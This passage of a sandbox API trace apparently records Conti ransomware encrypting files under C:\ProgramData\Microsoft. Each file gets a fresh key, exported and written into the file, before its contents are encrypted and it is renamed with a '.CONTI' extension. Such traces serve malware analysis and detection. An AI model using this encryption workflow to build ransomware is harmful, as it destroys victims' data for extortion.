	[0099.055] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml"
	[0099.055] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.CONTI"
	[0099.056] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\MasterDescriptor.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\masterdescriptor.x-none.xml.conti")) returned 1
	[0099.056] GetProcessHeap () returned 0x1720000
	[0099.056] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0099.056] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0099.056] GetProcessHeap () returned 0x1720000
	[0099.056] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfce8 | out: hHeap=0x1720000) returned 1
	[0099.056] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0099.056] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d4d58 | out: phKey=0x17d4d58*=0x17c8030) returned 1
	[0099.056] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4d5c, pdwDataLen=0x3bbfde4 | out: pbData=0x17d4d5c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0099.058] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man")) returned 0x20
	[0099.058] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0099.058] GetLastError () returned 0x0
	[0099.058] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=282147) returned 1
	[0099.058] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x44e23
	[0099.058] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.058] SetEndOfFile (hFile=0x30c) returned 1
	[0099.058] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.058] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.058] WriteFile (in: hFile=0x30c, lpBuffer=0x17d4d5c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d4d5c*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0099.062] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.062] ReadFile (in: hFile=0x30c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x44e23, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x44e23, lpOverlapped=0x0) returned 1
	[0099.067] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x44e23, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x44e30) returned 1
	[0099.067] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.067] WriteFile (in: hFile=0x30c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x44e30, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x44e30, lpOverlapped=0x0) returned 1
	[0099.068] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.068] WriteFile (in: hFile=0x30c, lpBuffer=0x17d4d50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d4d50*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0099.068] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.068] CloseHandle (hObject=0x30c) returned 1
	[0099.073] GetProcessHeap () returned 0x1720000
	[0099.073] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0099.074] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man"
	[0099.074] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.CONTI"
	[0099.074] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man.conti")) returned 1
	[0099.075] GetProcessHeap () returned 0x1720000
	[0099.075] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0099.075] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0099.075] GetProcessHeap () returned 0x1720000
	[0099.075] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0099.075] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0099.075] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d61e0 | out: phKey=0x17d61e0*=0x17c8030) returned 1
	[0099.075] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d61e4, pdwDataLen=0x3bbfde4 | out: pbData=0x17d61e4*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0099.077] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml")) returned 0x20
	[0099.077] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0099.078] GetLastError () returned 0x0
	[0099.078] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=37360) returned 1
	[0099.078] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x91f0
	[0099.078] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.078] SetEndOfFile (hFile=0x30c) returned 1
	[0099.078] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.078] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.078] WriteFile (in: hFile=0x30c, lpBuffer=0x17d61e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d61e4*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0099.080] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.080] ReadFile (in: hFile=0x30c, lpBuffer=0x9880000, nNumberOfBytesToRead=0x91f0, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0x91f0, lpOverlapped=0x0) returned 1
	[0099.081] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x91f0, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0x9200) returned 1
	[0099.081] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.081] WriteFile (in: hFile=0x30c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0x9200, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0x9200, lpOverlapped=0x0) returned 1
	[0099.081] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.081] WriteFile (in: hFile=0x30c, lpBuffer=0x17d61d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d61d8*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0099.081] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.081] CloseHandle (hObject=0x30c) returned 1
	[0099.083] GetProcessHeap () returned 0x1720000
	[0099.083] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17da410
	[0099.083] lstrcpyW (in: lpString1=0x17da410, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml"
	[0099.083] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.CONTI"
	[0099.083] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml.conti")) returned 1
	[0099.083] GetProcessHeap () returned 0x1720000
	[0099.083] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17da410 | out: hHeap=0x1720000) returned 1
	[0099.083] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0099.083] GetProcessHeap () returned 0x1720000
	[0099.083] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3b08 | out: hHeap=0x1720000) returned 1
	[0099.083] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0099.084] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d5d50 | out: phKey=0x17d5d50*=0x17c8030) returned 1
	[0099.084] CryptExportKey (in: hKey=0x17c8030, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5d54, pdwDataLen=0x3bbfde4 | out: pbData=0x17d5d54*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0099.084] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml")) returned 0x20
	[0099.085] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0099.085] GetLastError () returned 0x0
	[0099.085] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x3bbfd90 | out: lpFileSize=0x3bbfd90*=59164) returned 1
	[0099.085] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xe71c
	[0099.085] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.085] SetEndOfFile (hFile=0x30c) returned 1
	[0099.085] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.085] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.085] WriteFile (in: hFile=0x30c, lpBuffer=0x17d5d54*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3bbfd9c, lpOverlapped=0x0 | out: lpBuffer=0x17d5d54*, lpNumberOfBytesWritten=0x3bbfd9c*=0x20c, lpOverlapped=0x0) returned 1
	[0099.714] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.714] ReadFile (in: hFile=0x30c, lpBuffer=0x9880000, nNumberOfBytesToRead=0xe71c, lpNumberOfBytesRead=0x3bbfdbc, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesRead=0x3bbfdbc*=0xe71c, lpOverlapped=0x0) returned 1
	[0099.736] CryptEncrypt (in: hKey=0x17c8030, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xe71c, dwBufLen=0x500000 | out: pbData=0x9880000*, pdwDataLen=0x3bbfdb4*=0xe720) returned 1
	[0099.737] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.737] WriteFile (in: hFile=0x30c, lpBuffer=0x9880000*, nNumberOfBytesToWrite=0xe720, lpNumberOfBytesWritten=0x3bbfdd0, lpOverlapped=0x0 | out: lpBuffer=0x9880000*, lpNumberOfBytesWritten=0x3bbfdd0*=0xe720, lpOverlapped=0x0) returned 1
	[0099.737] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.737] WriteFile (in: hFile=0x30c, lpBuffer=0x17d5d48*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3bbfde8, lpOverlapped=0x0 | out: lpBuffer=0x17d5d48*, lpNumberOfBytesWritten=0x3bbfde8*=0x8, lpOverlapped=0x0) returned 1
	[0099.737] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0099.737] CloseHandle (hObject=0x30c) returned 1
	[0102.512] GetProcessHeap () returned 0x1720000
	[0102.512] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f2428
	[0102.513] lstrcpyW (in: lpString1=0x17f2428, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml"
	[0102.513] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.CONTI"
	[0102.513] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml.conti")) returned 1
	[0103.835] GetProcessHeap () returned 0x1720000
	[0103.835] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f2428 | out: hHeap=0x1720000) returned 1
	[0103.835] CryptDestroyKey (hKey=0x17c8030) returned 1
	[0103.836] GetProcessHeap () returned 0x1720000
	[0103.836] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3c10 | out: hHeap=0x1720000) returned 1
	[0103.836] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0104.231] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d2448 | out: phKey=0x17d2448*=0x17c8230) returned 1
	[0104.231] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d244c, pdwDataLen=0x3bbfde4 | out: pbData=0x17d244c*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0104.235] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png")) returned 0x20
	[0104.236] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\device.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.236] GetLastError () returned 0x5
	[0104.236] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0104.236] GetProcessHeap () returned 0x1720000
	[0104.236] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510140 | out: hHeap=0x1720000) returned 1
	[0104.236] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0105.003] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d3d60 | out: phKey=0x17d3d60*=0x17c8430) returned 1
	[0105.003] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d3d64, pdwDataLen=0x3bbfde4 | out: pbData=0x17d3d64*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0105.004] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_Normal.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_normal.rbs")) returned 0x20
	[0105.004] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_Normal.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_normal.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.005] GetLastError () returned 0x5
	[0105.005] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0105.005] GetProcessHeap () returned 0x1720000
	[0105.005] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740988 | out: hHeap=0x1720000) returned 1
	[0105.005] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3bbfe10, lpCompletionKey=0x3bbfe14, lpOverlapped=0x3bbfe20) returned 1
	[0105.425] CryptGenKey (in: hProv=0x174e540, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c80f0) returned 1
	[0105.425] CryptExportKey (in: hKey=0x17c80f0, hExpKey=0x173a850, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x3bbfde4 | out: pbData=0x17d5434*, pdwDataLen=0x3bbfde4*=0x20c) returned 1
	[0105.426] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\9984ecc0-931c-4feb-8996-203a6ffaa852_withdraw.xml")) returned 0x20
